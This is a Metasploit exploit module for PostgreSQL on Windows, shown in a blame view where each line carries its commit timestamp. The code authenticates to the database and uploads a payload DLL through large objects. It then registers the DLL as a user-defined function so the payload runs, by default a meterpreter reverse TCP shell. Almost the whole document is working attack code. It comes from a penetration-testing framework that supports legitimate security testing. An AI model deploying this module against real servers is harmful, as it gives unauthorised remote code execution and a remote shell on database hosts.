2011-03-23 19:36:07 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2011-03-23 19:36:07 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf :: Exploit :: Remote
2011-03-23 19:36:07 +00:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2011-03-23 19:36:07 +00:00
include Msf :: Exploit :: Remote :: Postgres
2012-12-22 00:30:09 -06:00
include Msf :: Auxiliary :: Report
include Msf :: Exploit :: EXE
include Msf :: Exploit :: FileDropper
2024-02-12 11:52:48 +00:00
include Msf :: OptionalSession :: PostgreSQL
2013-08-30 16:28:54 -05:00
2011-03-23 19:36:07 +00:00
# Creates an instance of this module.
def initialize ( info = { } )
super ( update_info ( info ,
'Name' = > 'PostgreSQL for Microsoft Windows Payload Execution' ,
'Description' = > %q{
2012-12-22 00:30:09 -06:00
On default Microsoft Windows installations of PostgreSQL the postgres
service account may write to the current directory (which is usually
"C: \ Program Files \ PostgreSQL \ <version> \ data" where <version> is the
major.minor version of PostgreSQL). UDF DLL's may be sourced from
there as well.
2013-08-30 16:28:54 -05:00
2012-12-22 00:30:09 -06:00
This module uploads a Windows DLL file via the pg_largeobject method
of binary injection and creates a UDF (user defined function) from
that DLL. Because the payload is run from DllMain, it does not need to
conform to specific Postgres API versions.
2011-03-23 19:36:07 +00:00
} ,
2011-10-17 03:49:49 +00:00
'Author' = >
2011-03-23 19:36:07 +00:00
[
2011-10-17 03:49:49 +00:00
'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>' , # the postgresql udf libraries
2011-03-23 19:36:07 +00:00
'todb' # this Metasploit module
] ,
'License' = > MSF_LICENSE ,
'References' = >
[
2020-06-14 16:39:46 +02:00
[ 'URL' , 'https://web.archive.org/web/20100803002909/http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' ] , # A litte more specific to PostgreSQL
2011-03-23 19:36:07 +00:00
] ,
'Platform' = > 'win' ,
'Targets' = >
2012-12-22 00:30:09 -06:00
[
2021-08-20 16:06:16 +01:00
[ 'Windows x86' ,
{
'Arch' = > ARCH_X86 ,
'DefaultOptions' = > {
'PAYLOAD' = > 'windows/meterpreter/reverse_tcp'
}
}
] ,
[ 'Windows x64' ,
{
'Arch' = > ARCH_X64 ,
'DefaultOptions' = > {
'PAYLOAD' = > 'windows/x64/meterpreter/reverse_tcp'
}
}
] ,
2012-12-22 00:30:09 -06:00
] ,
2011-03-23 19:36:07 +00:00
'DefaultTarget' = > 0 ,
2024-01-24 13:47:22 +00:00
'DisclosureDate' = > '2009-04-10' , # Date of Bernardo's BH Europe paper.
2011-03-23 19:36:07 +00:00
) )
2013-08-30 16:28:54 -05:00
2011-03-23 19:36:07 +00:00
deregister_options ( 'SQL' , 'RETURN_ROWSET' )
end
2013-08-30 16:28:54 -05:00
2012-12-22 00:30:09 -06:00
def check
version = postgres_fingerprint
2013-08-30 16:28:54 -05:00
2012-12-22 00:30:09 -06:00
if version [ :auth ]
2017-07-19 12:48:52 +01:00
print_good " Authentication successful. Version: #{ version } "
2014-01-20 14:26:10 -06:00
return CheckCode :: Appears # WRITE permission needs to be proven to get CheckCode::Vulnerable
2012-12-22 00:30:09 -06:00
else
print_error " Authentication failed. #{ version [ :preauth ] || version [ :unknown ] } "
return CheckCode :: Safe
end
2011-03-23 19:36:07 +00:00
end
2013-08-30 16:28:54 -05:00
2011-03-23 19:36:07 +00:00
def exploit
2024-01-24 13:47:22 +00:00
self . postgres_conn = session . client if session
2012-12-22 00:30:09 -06:00
version = do_login ( username , password , database )
2011-03-23 19:36:07 +00:00
case version
2017-07-21 07:41:51 -07:00
when :noauth ; print_error " Authentication failed " ; return
when :noconn ; print_error " Connection failed " ; return
2012-12-22 00:30:09 -06:00
else
2024-02-19 10:57:53 +00:00
print_status ( " #{ postgres_conn . peerhost } : #{ postgres_conn . peerport } - #{ version } " )
2011-03-23 19:36:07 +00:00
end
2013-08-30 16:28:54 -05:00
2012-12-22 00:30:09 -06:00
fname = " #{ Rex :: Text . rand_text_alpha ( 8 ) } .dll "
register_files_for_cleanup ( fname )
2013-08-30 16:28:54 -05:00
2012-12-22 00:30:09 -06:00
unless postgres_upload_binary_data ( generate_payload_dll , fname )
2011-03-23 19:36:07 +00:00
print_error " Could not upload the UDF DLL "
2011-10-17 03:49:49 +00:00
return
2011-03-23 19:36:07 +00:00
end
2013-08-30 16:28:54 -05:00
2012-12-22 00:30:09 -06:00
print_status " Uploaded as #{ fname } "
begin
func_name = Rex :: Text . rand_text_alpha ( 10 )
postgres_query (
" create or replace function pg_temp. #{ func_name } () " +
" returns void as ' #{ fname } ',' #{ func_name } ' " +
" language c strict immutable "
)
rescue RuntimeError = > e
print_error " Failed to create UDF function: #{ e . class } : #{ e } "
2011-03-23 19:36:07 +00:00
end
2024-01-24 13:47:22 +00:00
postgres_logout if @postgres_conn && session . blank?
2013-08-30 16:28:54 -05:00
2011-03-23 19:36:07 +00:00
end
2013-08-30 16:28:54 -05:00
2012-12-22 00:30:09 -06:00
# Authenticate to the postgres server.
#
# Returns the version from #postgres_fingerprint
def do_login ( user = nil , pass = nil , database = nil )
2011-03-23 19:36:07 +00:00
begin
password = pass || postgres_password
2024-01-24 13:47:22 +00:00
vprint_status ( " Trying #{ user } : #{ password } @ #{ rhost } : #{ rport } / #{ database } " ) unless self . postgres_conn
2011-03-23 19:36:07 +00:00
result = postgres_fingerprint (
:db = > database ,
:username = > user ,
:password = > password
)
if result [ :auth ]
2012-12-22 00:30:09 -06:00
report_service (
2024-02-19 10:57:53 +00:00
:host = > postgres_conn . peerhost ,
:port = > postgres_conn . peerport ,
2012-12-22 00:30:09 -06:00
:name = > " postgres " ,
:info = > result . values . first
)
return result [ :auth ]
2011-03-23 19:36:07 +00:00
else
2017-07-19 11:46:39 +01:00
print_error ( " Login failed, fingerprint is #{ result [ :preauth ] || result [ :unknown ] } " )
2011-03-23 19:36:07 +00:00
return :noauth
end
2012-12-22 00:30:09 -06:00
rescue Rex :: ConnectionError , Rex :: Post :: Meterpreter :: RequestError
2011-03-23 19:36:07 +00:00
return :noconn
end
end
2012-12-22 00:30:09 -06:00
2011-03-23 19:36:07 +00:00
end